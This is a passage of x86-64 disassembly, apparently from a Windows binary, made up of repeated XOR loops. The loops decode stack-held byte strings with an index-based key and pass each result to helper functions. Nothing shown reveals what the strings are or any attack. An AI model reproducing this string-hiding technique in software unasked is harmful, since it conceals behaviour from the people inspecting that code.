imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x2c5c], al
lea ecx, [r8 + 0x1b]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r10 + 0x2c5d], al
lea ecx, [r8 + 0x1c]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r10 + 0x2c5e], al
add r10d, 0x1f
cmp r10d, 0x3e
jl 0x1400f6ea0
lea rdx, [rsp + 0x2c40]
lea rcx, [rsp + 0x1448]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bf030]
vmovups ymmword [rsp + 0x2cbd], ymm0
vmovups ymm1, ymmword [0x1401bf050]
vmovups ymmword [rsp + 0x2cdd], ymm1
movzx eax, byte [0x1401bf070]
mov byte [rsp + 0x2cfd], al
lea r9, [rsp + 0x2cbe]
nop dword [rax + rax]
lea r8d, [rbx - 2]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
lea ecx, [rbx - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
mov eax, 0x4d4873ed
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9 + 1], al
lea ecx, [rbx + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9 + 2], al
lea ecx, [rbx + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3b
xor byte [r9 + 3], al
lea ecx, [rbx + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3c
xor byte [r9 + 4], al
lea ecx, [rbx + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3d
xor byte [r9 + 5], al
lea ecx, [rbx + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3e
xor byte [r9 + 6], al
lea ecx, [rbx + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3f
xor byte [r9 + 7], al
lea ecx, [rbx + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x40
xor byte [r9 + 8], al
lea ecx, [rbx + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x41
xor byte [r9 + 9], al
lea ecx, [rbx + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x42
xor byte [r9 + 0xa], al
lea ecx, [rbx + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub r8b, cl
add r8b, 0x43
xor byte [r9 + 0xb], r8b
add ebx, 0xd
lea r9, [r9 + 0xd]
lea eax, [rbx - 2]
cmp eax, 0x41
jl 0x1400f7440
lea rdx, [rsp + 0x2cbd]
lea rcx, [rsp + 0x1468]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bf078]
vmovups ymmword [rsp + 0x2c04], ymm0
vmovups xmm1, xmmword [0x1401bf098]
vmovups xmmword [rsp + 0x2c24], xmm1
vmovsd xmm0, qword [0x1401bf0a8]
vmovsd qword [rsp + 0x2c34], xmm0
mov eax, dword [0x1401bf0b0]
mov dword [rsp + 0x2c3c], eax
xor r10d, r10d
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2c04], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2c05], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2c06], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2c07], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2c08], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2c09], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2c0a], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2c0b], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2c0c], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2c0d], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2c0e], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2c0f], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2c10], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2c11], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2c12], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2c13], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2c14], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2c15], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2c16], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2c17], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2c18], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2c19], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2c1a], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2c1b], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2c1c], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2c1d], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x2c1e], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x2c1f], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x2c20], al
lea ecx, [r8 + 0x1b]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r10 + 0x2c21], al
add r10d, 0x1e
cmp r10d, 0x3c
jl 0x1400f76a1
lea rdx, [rsp + 0x2c04]
lea rcx, [rsp + 0x1488]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bf0b8]
vmovups ymmword [rsp + 0x216e], ymm0
vmovups xmm1, xmmword [0x1401bf0d8]
vmovups xmmword [rsp + 0x218e], xmm1
movzx eax, word [0x1401bf0e8]
mov word [rsp + 0x219e], ax
xor r10d, r10d
nop dword [rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x216e], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x216f], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2170], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2171], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2172], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2173], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2174], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2175], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2176], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2177], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2178], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2179], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x217a], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x217b], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x217c], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x217d], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x217e], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x217f], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2180], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2181], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2182], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2183], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2184], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2185], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2186], al
add r10d, 0x19
cmp r10d, 0x32
jl 0x1400f7c10
lea rdx, [rsp + 0x216e]
lea rcx, [rsp + 0x14a8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bf0f0]
vmovups ymmword [rsp + 0x21a0], ymm0
vmovups xmm1, xmmword [0x1401bf110]
vmovups xmmword [rsp + 0x21c0], xmm1
mov eax, dword [0x1401bf120]
mov dword [rsp + 0x21d0], eax
xor r10d, r10d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x21a0], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x21a1], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x21a2], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x21a3], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x21a4], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x21a5], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x21a6], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x21a7], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x21a8], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x21a9], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x21aa], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x21ab], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x21ac], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x21ad], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x21ae], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x21af], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x21b0], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x21b1], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x21b2], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x21b3], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x21b4], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x21b5], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x21b6], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x21b7], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x21b8], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x21b9], al
add r10d, 0x1a
cmp r10d, 0x34
jl 0x1400f80b0
lea rdx, [rsp + 0x21a0]
lea rcx, [rsp + 0x14c8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bf128]
vmovups ymmword [rsp + 0x1f88], ymm0
movzx eax, byte [0x1401bf148]
mov byte [rsp + 0x1f88], 0x72
xor byte [rsp + 0x1f89], 0x38
xor byte [rsp + 0x1f8a], 0x39
xor byte [rsp + 0x1f8b], 0x3a
xor byte [rsp + 0x1f8c], 0x3b
xor byte [rsp + 0x1f8d], 0x3c
